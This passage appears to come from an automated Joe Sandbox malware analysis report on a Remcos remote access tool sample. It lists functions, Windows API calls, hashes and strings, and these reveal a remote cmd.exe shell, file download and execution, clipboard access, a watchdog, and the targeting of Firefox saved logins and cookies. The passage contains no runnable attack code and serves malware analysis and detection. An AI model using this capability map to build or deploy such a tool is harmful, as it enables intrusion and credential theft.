                                                                                                                                                                                                  • Instruction ID: 3aa9a871bb282a4e2fa9f206226bba5a96c76ae51e783e445703a1682bb04715
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0fb042ee673182d0a975c8eeaa188f9506240d203db94b7081741dab0a726564
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 51014CB2950308BFDB24EF64C902B6EBBECEB04328F10452FE445D7201C278AD40C75A
                                                                                                                                                                                                  Function 00445B74 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044834A,00000001,00000364,?,00000000,00000000,0043BCD6,00000000,00000000,?,0043BD5A,00000000), ref: 00445BB5
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1279760036-0
                                                                                                                                                                                                  • Opcode ID: ce26be8ca3846e5000c6f53c40b97d329a66d538f9906bf99632d42dae41b906
                                                                                                                                                                                                  • Instruction ID: ef76d3429b2572ee2e16b707a9c356192af24cfd4e901c13b73aaad13af6506a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ce26be8ca3846e5000c6f53c40b97d329a66d538f9906bf99632d42dae41b906
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BEF0B431500F65ABBF222E22AC05E5B3769DB81770B14412BB914EA286CA38FC0186AC
                                                                                                                                                                                                  Function 004461B8 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1279760036-0
                                                                                                                                                                                                  • Opcode ID: 9dc7fa543976cc1aa64452a14dec52ea5ded8d4e1ebcbf177ce858167d1c4c1d
                                                                                                                                                                                                  • Instruction ID: 139fbca062bb8bf671a891d82c3cf8fc988f9ce198a1a8b78c24da0334343556
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9dc7fa543976cc1aa64452a14dec52ea5ded8d4e1ebcbf177ce858167d1c4c1d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CEE0E531A0021267F6312A269C01B5B76599B437A0F170137AD15922D2CE6CCD0181EF
                                                                                                                                                                                                  Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Startup
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 724789610-0
                                                                                                                                                                                                  • Opcode ID: e47b679f8b5f7a60eca2a032b66c8256c268ab46ab34190103e4171c6a1e128b
                                                                                                                                                                                                  • Instruction ID: 97c3e6bab4f4407137ad71e204409d8be70fba83985c90e8682379c152a4c00d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e47b679f8b5f7a60eca2a032b66c8256c268ab46ab34190103e4171c6a1e128b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92D0123255C70C8EE620ABB4AD0F8A4775CC317616F0007BA6CB5836D3E6405B1DC2AB
                                                                                                                                                                                                  Function 004027A7 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • std::_Deallocate.LIBCONCRT ref: 00402E2B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Deallocatestd::_
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1323251999-0
                                                                                                                                                                                                  • Opcode ID: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                                                                                                                                                                                                  • Instruction ID: a1ed0c2070530d0d1545540182683da5b3cb4a6c90a46b83737b9b29f97d9faa
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1728ba59e3f5797c2b26d6c1ec3f14ce13f4925b5309dcbb8e7c7e422a6d3f49
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FFB092364442007ACA026640AC86F5EB762ABA4710F14C92ABA9A281E2D6B74268A647
                                                                                                                                                                                                  Function 00426D42 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: recv
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1507349165-0
                                                                                                                                                                                                  • Opcode ID: f4db5bd4806bc66e377c48788e3214861744c877e7cd4eb35e6567da0e63c1ec
                                                                                                                                                                                                  • Instruction ID: c63eaffdb417a6470c671315a396a42075a312041b5b8b5670d44767818a4bbd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f4db5bd4806bc66e377c48788e3214861744c877e7cd4eb35e6567da0e63c1ec
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 26B09279108202FFCA150B60CC0886ABEA6ABC8382B00882DB586411B0C736C851AB26
                                                                                                                                                                                                  Function 00426D59 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: send
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2809346765-0
                                                                                                                                                                                                  • Opcode ID: b9ca0b0eaa02557cb4d56b342a6254bf92ad90fc72112118e0a601f448bbd0ca
                                                                                                                                                                                                  • Instruction ID: 21703143275c54c82102de5c78eddca0fb0a16d203a0de67c7bd570fb3111ac2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b9ca0b0eaa02557cb4d56b342a6254bf92ad90fc72112118e0a601f448bbd0ca
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 87B09B75108301FFD6150760CC0486A7D6597C8341F00491C718741170C635C8515725
                                                                                                                                                                                                  Function 00411CDE Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411E22,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CEE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AllocVirtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4275171209-0
                                                                                                                                                                                                  • Opcode ID: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                                                                                                                                                                                                  • Instruction ID: 079a7b638a28e99b338f4493b6ebfa8105bff269478f0661155a893ef6bf0f7e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 419aedcff02c784107df6911406269fb4724b8c0c47efc41c654e3b285a5c19f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 13B00872418382EBCF02DF90DD0492ABAB2BB88741F184C5CB2A14107187228428EB06

                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                  Function 00407CD2 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?), ref: 00407CF4
                                                                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407DC2
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000), ref: 00407DE4
                                                                                                                                                                                                    • Part of subcall function 0041C322: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C37D
                                                                                                                                                                                                    • Part of subcall function 0041C322: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3AD
                                                                                                                                                                                                    • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C402
                                                                                                                                                                                                    • Part of subcall function 0041C322: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C463
                                                                                                                                                                                                    • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C46A
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                    • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                                                                                                                                                                                    • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 004081D2
                                                                                                                                                                                                  • GetLogicalDriveStringsA.KERNEL32 ref: 004082B3
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084FF
                                                                                                                                                                                                  • DeleteFileA.KERNEL32(?), ref: 0040868D
                                                                                                                                                                                                    • Part of subcall function 00408847: __EH_prolog.LIBCMT ref: 0040884C
                                                                                                                                                                                                    • Part of subcall function 00408847: FindFirstFileW.KERNEL32(00000000,?,00466618,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408905
                                                                                                                                                                                                    • Part of subcall function 00408847: __CxxThrowException@8.LIBVCRUNTIME ref: 0040892D
                                                                                                                                                                                                    • Part of subcall function 00408847: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040893A
                                                                                                                                                                                                  • Sleep.KERNEL32(000007D0), ref: 00408733
                                                                                                                                                                                                  • StrToIntA.SHLWAPI(00000000), ref: 00408775
                                                                                                                                                                                                    • Part of subcall function 0041CA73: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CB68
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                                                                                                                                                                                  • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                                                                                                                                                                                  • API String ID: 1067849700-181434739
                                                                                                                                                                                                  • Opcode ID: 479dc5550cf4854b713f5d3a3e19dcb4b499bc5a558c7293900e956c62809ad1
                                                                                                                                                                                                  • Instruction ID: f533dcafa702064eae222fc9ff54aa9327b172b3479e3db69e1c842a3252ef64
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 479dc5550cf4854b713f5d3a3e19dcb4b499bc5a558c7293900e956c62809ad1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F04293716043016BC604FB76C9579AE77A9AF91348F80483FF542671E2EF7C9908879B
                                                                                                                                                                                                  Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 004056E6
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 00405723
                                                                                                                                                                                                  • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660CC,00000000), ref: 004057B6
                                                                                                                                                                                                  • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                                                                                                                                                                                  • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                                                                                                                                                                                  • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                                                                                                                                                                                  • PeekNamedPipe.KERNEL32 ref: 004058BC
                                                                                                                                                                                                  • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                                                                                                                                                                                    • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                                                                                                                                                                                                  • Sleep.KERNEL32(00000064,00000062,004660B4), ref: 004059FE
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 00405A23
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 00405A2B
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 00405A3D
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 00405A45
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                                                                                                                                  • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                                                                                                                                                                                  • API String ID: 2994406822-18413064
                                                                                                                                                                                                  • Opcode ID: d16286c7c38df6e2a78898b44b0a418d7ee8de31fdaa2db65b94654e283f2e3b
                                                                                                                                                                                                  • Instruction ID: feb7c3e087fbbfe745e3798ef664df189eb35a760580a6c3fca7c2e5343dee52
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d16286c7c38df6e2a78898b44b0a418d7ee8de31fdaa2db65b94654e283f2e3b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1A91C271604604AFD711FB36ED42A6B369AEB84308F01443FF589A62E2DB7D9C448F6D
                                                                                                                                                                                                  Function 00412132 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 00412141
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegCreateKeyA.ADVAPI32(80000001,00000000,004660B4), ref: 004138C0
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegSetValueExA.KERNEL32(004660B4,000000AF,00000000,00000004,00000001,00000004), ref: 004138DB
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegCloseKey.KERNEL32(004660B4), ref: 004138E6
                                                                                                                                                                                                  • OpenMutexA.KERNEL32 ref: 00412181
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00412190
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00412829,00000000,00000000,00000000), ref: 004121E6
                                                                                                                                                                                                  • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 00412455
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                                                                                                                                                                                  • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                                                                                                                                                                                  • API String ID: 3018269243-13974260
                                                                                                                                                                                                  • Opcode ID: 817b54e465375c028daba3369f99162f2da19e99f6d56bc5ecb442dffeb2f2e4
                                                                                                                                                                                                  • Instruction ID: f1b014459f2de55ad39b9ce4e2eab06dd530905b6b6ad57ecd0cf2e75cce6712
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 817b54e465375c028daba3369f99162f2da19e99f6d56bc5ecb442dffeb2f2e4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B971A23160430167C614FB72CD579AE77A4AE94308F40097FF586A21E2FFBC9A49C69E
                                                                                                                                                                                                  Function 0040BB6B Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBEA
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040BC04
                                                                                                                                                                                                  • FindNextFileA.KERNEL32(00000000,?), ref: 0040BD27
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040BD4D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$CloseFile$FirstNext
                                                                                                                                                                                                  • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                                                                                                                                  • API String ID: 1164774033-3681987949
                                                                                                                                                                                                  • Opcode ID: ddf3ae28b5732d4bdf30ea22351dc37fdb7451648e085e9b91ca2b4f61ea912e
                                                                                                                                                                                                  • Instruction ID: 8b0b2ff803da1d4b435a108118727fe7c74031c8ac088da8990f7d135a86af9b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ddf3ae28b5732d4bdf30ea22351dc37fdb7451648e085e9b91ca2b4f61ea912e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C7514F3190021A9ADB14FBB2DC56AEEB739AF10304F50057FF506721E2FF785A49CA99
                                                                                                                                                                                                  Function 004168FC Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenClipboard.USER32 ref: 004168FD
                                                                                                                                                                                                  • EmptyClipboard.USER32 ref: 0041690B
                                                                                                                                                                                                  • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 0041692B
                                                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00416934
                                                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0041696A
                                                                                                                                                                                                  • SetClipboardData.USER32(0000000D,00000000), ref: 00416973
                                                                                                                                                                                                  • CloseClipboard.USER32 ref: 00416990
                                                                                                                                                                                                  • OpenClipboard.USER32 ref: 00416997
                                                                                                                                                                                                  • GetClipboardData.USER32 ref: 004169A7
                                                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 004169B0
                                                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 004169B9
                                                                                                                                                                                                  • CloseClipboard.USER32 ref: 004169BF
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                                                                                                                                  • String ID: !D@
                                                                                                                                                                                                  • API String ID: 3520204547-604454484
                                                                                                                                                                                                  • Opcode ID: bf5a65ac99ffe61d9797845c90f3a5bbf17482b58dee495671916681c2117e8d
                                                                                                                                                                                                  • Instruction ID: 548dc4d81477911aad8e8b192ef25fd2d65b79b2884d290c2f7190e4363fe536
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bf5a65ac99ffe61d9797845c90f3a5bbf17482b58dee495671916681c2117e8d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23215171204301EBD714BB71DC5DAAE7AA9AF88746F00043EF946961E2EF3C8C45866A
                                                                                                                                                                                                  Function 0040BD72 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDEA
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040BE04
                                                                                                                                                                                                  • FindNextFileA.KERNEL32(00000000,?), ref: 0040BEC4
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040BEEA
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040BF0B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$Close$File$FirstNext
                                                                                                                                                                                                  • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                                                                                                                                  • API String ID: 3527384056-432212279
                                                                                                                                                                                                  • Opcode ID: efd911169634aa6eb296d91244de5f42230bb67941264acd6522b2be9cf9de9e
                                                                                                                                                                                                  • Instruction ID: 490896facf616f27299b965c2ba25c256be2621490ca3b25f990f1d956524bcc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: efd911169634aa6eb296d91244de5f42230bb67941264acd6522b2be9cf9de9e
